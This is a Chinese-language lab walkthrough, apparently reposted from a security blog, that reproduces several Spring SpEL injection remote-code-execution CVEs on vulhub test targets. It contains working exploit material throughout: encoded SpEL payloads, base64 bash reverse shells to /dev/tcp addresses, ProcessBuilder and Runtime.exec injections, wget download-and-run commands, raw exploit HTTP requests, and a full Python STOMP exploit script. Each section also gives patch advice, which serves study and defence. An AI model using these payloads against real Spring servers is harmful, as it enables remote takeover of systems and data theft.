Spring简介
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
SpEL是什么
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL原理如下∶
参考链接:http://rui0.cn/archives/1043
1.看web应用程序的ico小图标,是一个小绿叶子
2.看报错页面,如果默认报错页面没有修复,那就是长这样
3.wappalyzer插件识别
4.f12看X-Application-Context头
官网下载安装包 :https://www.jetbrains.com/idea/download/#section=windows
这里选择得商业版,免费试用30天
安装目录默认
报错不用管,点击确认,一直默认下一步
双击下图图标
选择Download SDK
选择jdk1.8
点next
点击Spring Web
等待安装
点击右上角启动,可以看见默认端口8080
成功访问,部署成功
这里复现的环境搭建均采用p牛的vulhub靶场环境。
Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
2.0.0-2.0.9
1.0.0-1.0.5
启动漏洞
访问url
输入下面的漏洞测试url:
http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4
页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。
这里看一下vulhub提供的poc,poc地址:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。
反弹shell:
对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误,具体可以参考这篇文章:https://blog.th3wind.xyz/posts/238052750.html)
在线生成有效载荷的网站:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.173.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
生成poc
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
修改后的url:
http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
监听端口:
执行url,看见如图的显示页面说明已成功执行:
反弹shell成功。
1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。2.使用2.0.x版本的用户升级到2.0.10以及更高的版本
因为对java不是很熟,所以没有对底层原理进行分析,但是发现一篇文章分析的还是蛮好的,大家可以看一下:https://blog.knownsec.com/2016/10/spring-security-oauth-rce/
Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
Spring WebFlow 2.4.0 - 2.4.4
MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
flow view对象中设置BinderConfiguration对象为空
开启漏洞
点击login
可以看见这里有很多默认的用户名密码,随便选一组登录系统
然后访问id为1的酒店地址:
http://192.168.173.144:8080/hotels/1
点击预订按钮”Book Hotel",填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰
随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):
点击confirm时进行抓包
反弹shell的poc:
原POC:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhubURL编码后
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub
exp扩展
1、向里面写入文件
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")
2、使用wget下载远程bash脚本
&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")
3、执行上一步下载的脚本
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")
官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:
https://pivotal.io/security/cve-2017-4971
对于这个漏洞的底层分析文章,大家可以看看这篇:https://paper.seebug.org/322/
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
开启漏洞环境:
看到 json格式的返回值,说明这是一个 Restful风格的API服务器。
访问如下url,如果有下面回显,则说明存在该漏洞:
http://192.168.173.144:8080/customers/1
bp抓包,并且使用PATCH请求来修改:
创建文件touch /tmp/zcc的poc,需要对其进行十进制编码:
",".join(map(str, (map(ord,"touch /tmp/zcc"))))'116,111,117,99,104,32,47,116,109,112,47,122,99,99'
将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch+json
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 201[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,122,99,99}))/lastname",
"value": "vulhub"
}
]
成功写入:
反弹shell的poc,先进行base64编码:
bash -i >& /dev/tcp/192.168.173.1234/8888 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,77,121,52,120,77,122,77,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
写入poc,成功反弹。
升级到以下最新版本:* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3 * Spring Boot 2.0.0.M4 * Spring Data release train Kay-RC3
对于该漏洞底层原理分析的文章可以参考这一篇:https://blog.spoock.com/2018/05/22/cve-2017-8046/
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响
开启漏洞
访问该页面:
http://192.168.173.144:8080/gs-guide-websocket
对反弹shell的命令base64编码:
bash -i >& /dev/tcp/192.168.173.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
创建exp.py,自行修改ip和命令语句:
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://192.168.173.144:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
成功反弹。
1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);
2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本);
对于底层原理进行分析的文章可以参考这一篇:https://paper.seebug.org/562/
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本
启动漏洞
访问该url,bp抓包
http://192.168.173.144:8080/users
加上poc的请求包如下:
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.173.144:8080
Connection: close
Referer: http://192.168.173.144:8080/users
Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C
Upgrade-Insecure-Requests: 1username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=
成功写入。
反弹shell:
写一个shell.sh文件,开启http服务:
下载执行sh脚本:
/usr/bin/wget -qO /tmp/shell.sh http://192.168.173.131/shell.sh
执行shell.sh
/bin/bash /tmp/shell.sh
成功反弹。
已解决此问题的发布版本包括:
对于该漏洞的底层原理分析可以看该文章:https://www.cnblogs.com/hac425/p/9656747.html
本文作者:K1, 转载自FreeBuf.COM
“如侵权请私聊公众号删文”